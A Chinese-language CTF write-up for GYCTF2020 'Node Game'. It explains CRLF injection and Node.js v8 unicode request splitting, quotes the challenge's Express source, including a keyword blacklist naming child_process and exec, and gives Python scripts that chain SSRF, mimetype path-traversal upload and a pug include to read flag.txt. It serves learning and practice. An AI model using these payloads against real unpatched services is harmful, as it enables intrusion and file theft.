[GYCTF2020]Node Game及知识点
🚩crlf
- 简介:CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),CRLF即回车换行,利用回车换行。因为HTTP协议中是用回车换行来界定头部和实体的,所以如果我们可以用回车换行来恶意拆分请求或者响应
- 检测:CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。
🚩node.js:http请求路径中的unicode字符损坏
-
前提:使用node.js向特定路径发送http请求,但是却被定向到不一样的路径
-
简介:虽然用户发出的 http 请求通常是个字符串 string,但 Node.js 最终必须将请求以原始字节 raw bytes 输出,js 支持 unicode,这其中涉及到了 unicode 编码转换。对于不包含 body 的请求,Node.js 默认使用 latin1,它是单字节编码,不能表示高编号的 unicode 字符,比如 emoji 🐶
-
unicode原理:

🚩nodejs 的 HTTP 拆分攻击利用
-
简介:由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。
-
当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output [ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ] -
但是当结果字符串被编码为 latin1写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString() 'http://47.101.57.72:4000/\r\n/WHOAMI' -
原始请求如下:
GET / HTTP/1.1 Host: 47.101.57.72:4000 ………… -
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1 POST /upload.php HTTP/1.1 Host: 127.0.0.1 ………… GET HTTP/1.1 Host: 47.101.57.72:4000 -
构造http请求的脚本
payload = ''' HTTP/1.1 [POST /upload.php HTTP/1.1 Host: 127.0.0.1]自己的http请求 GET / HTTP/1.1 test:'''.replace("\n","\r\n") payload = payload.replace('\r\n', '\u010d\u010a') \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ .replace('`', '\u0127') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ print(payload) -
源代码
var express = require('express'); var app = express(); var fs = require('fs'); var path = require('path'); var http = require('http'); var pug = require('pug'); var morgan = require('morgan'); const multer = require('multer'); app.use(multer({dest: './dist'}).array('file')); app.use(morgan('short')); app.use("/uploads",express.static(path.join(__dirname, '/uploads'))) app.use("/template",express.static(path.join(__dirname, '/template'))) app.get('/', function(req, res) { var action = req.query.action?req.query.action:"index"; if( action.includes("/") || action.includes("\\") ){ res.send("Errrrr, You have been Blocked"); } file = path.join(__dirname + '/template/'+ action +'.pug'); var html = pug.renderFile(file); res.send(html); }); app.post('/file_upload', function(req, res){ var ip = req.connection.remoteAddress; var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only admin's ip can use it" res.send(JSON.stringify(obj)); return } fs.readFile(req.files[0].path, function(err, data){ if(err){ obj.msg = 'upload failed'; res.send(JSON.stringify(obj)); }else{ var file_path = '/uploads/' + req.files[0].mimetype +"/"; var file_name = req.files[0].originalname var dir_file = __dirname + file_path + file_name if(!fs.existsSync(__dirname + file_path)){ try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error"; res.send(JSON.stringify(obj)); return } } try { fs.writeFileSync(dir_file,data) obj = { msg: 'upload success', filename: file_path + file_name } } catch (error) { obj.msg = 'upload failed'; } res.send(JSON.stringify(obj)); } }) }) app.get('/source', function(req, res) { res.sendFile(path.join(__dirname + '/template/source.txt')); }); app.get('/core', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send("<p>error occurs!</p>"); } else { try { http.get(url, function(resp) { resp.setEncoding('utf8'); resp.on('error', function(err) { if (err.code === "ECONNRESET") { console.log("Timeout occurs"); return; } }); resp.on('data', function(chunk) { try { resps = chunk.toString(); res.send(resps); }catch (e) { res.send(e.message); } }).on('error', (e) => { res.send(e.message);}); }); } catch (error) { console.log(error); } } } else { res.send("search param 'q' missing!"); } }) function blacklist(url) { var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"]; var arrayLen = evilwords.length; for (var i = 0; i < arrayLen; i++) { const trigger = url.includes(evilwords[i]); if (trigger === true) { return true } } } var server = app.listen(8081, function() { var host = server.address().address var port = server.address().port console.log("Example app listening at http://%s:%s", host, port) }) -
按照路由来切分一下
-
第一块路由:接收get请求传来的action参数,检查是否含有违法字符/、\,然后将其拼接到/template和.pug,接着再赋值给file变量,最后使用pug引擎渲染
app.get('/', function(req, res) { var action = req.query.action?req.query.action:"index"; if( action.includes("/") || action.includes("\\") ){ res.send("Errrrr, You have been Blocked"); } file = path.join(__dirname + '/template/'+ action +'.pug'); var html = pug.renderFile(file); res.send(html); }); -
第二块路由:/file_upload路由,该路由的功能是对ip地址作出限制,只能限制本地访问,并且设置req.connection.remoteAddress导致不能伪造请求头,所以考虑使用ssrf来绕过。upload功能:可以看到上传文件的存储路径是上传文件的mimetype类型来控制的,所以我们可以通过控制上传文件的mimetype来控制文件的存储路径,所以我们可以通过控制路径来达到路径穿越从而使得任意文件上传
app.post('/file_upload', function(req, res){ var ip = req.connection.remoteAddress; var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg="only admin's ip can use it" res.send(JSON.stringify(obj)); return } fs.readFile(req.files[0].path, function(err, data){ if(err){ obj.msg = 'upload failed'; res.send(JSON.stringify(obj)); }else{ var file_path = '/uploads/' + req.files[0].mimetype +"/"; var file_name = req.files[0].originalname var dir_file = __dirname + file_path + file_name if(!fs.existsSync(__dirname + file_path)){ try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error"; res.send(JSON.stringify(obj)); return } } try { fs.writeFileSync(dir_file,data) obj = { msg: 'upload success', filename: file_path + file_name } } catch (error) { obj.msg = 'upload failed'; } res.send(JSON.stringify(obj)); } }) }) -
第三块路由:接收一个参数q,并对本地进行请求:url = 'http://localhost:8081/source?' + q,可以发现我们可以通过这里进行ssrf,而且题目也特别强调了 Node 版本为 8.12.0,那么就在网上一搜,发现这个版本的 Node 的 http 模块这里果然有漏洞
app.get('/core', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send("<p>error occurs!</p>"); } else { try { http.get(url, function(resp) { resp.setEncoding('utf8'); resp.on('error', function(err) { if (err.code === "ECONNRESET") { console.log("Timeout occurs"); return; } }); resp.on('data', function(chunk) { try { resps = chunk.toString(); res.send(resps); }catch (e) { res.send(e.message); } }).on('error', (e) => { res.send(e.message);}); }); } catch (error) { console.log(error); } } } else { res.send("search param 'q' missing!"); } }) -
攻击流程:
- 对/core路由发起切分攻击,请求/core的同时还向/source路由发出上传文件的请求
- 由于/路由是先读取/template/目录下的pug文件再将其渲染到当前界面,因此应该上传包含命令执行的pug文件;文件虽然默认上传至/upload/目录下,但可以通过目录穿越将文件上传到/template目录
- 访问上传到/template目录下包含命令执行的pug文件
-
攻击脚本
import urllib.parse import requests payload = ''' HTTP/1.1 Host: x Connection: keep-alive POST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Length: {} cache-control: no-cache Host: 127.0.0.1 Connection: keep-alive {}''' body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Disposition: form-data; name="file"; filename="lmonstergg.pug" Content-Type: ../template doctype html html head style include ../../../../../../../flag.txt ------WebKitFormBoundaryO9LPoNAg9lWRUItA-- ''' more=''' GET /flag HTTP/1.1 Host: x Connection: close x:''' payload = payload.format(len(body)+10,body)+more payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) print(payload) session = requests.Session() session.trust_env = False session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload)) response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg') print(response.text)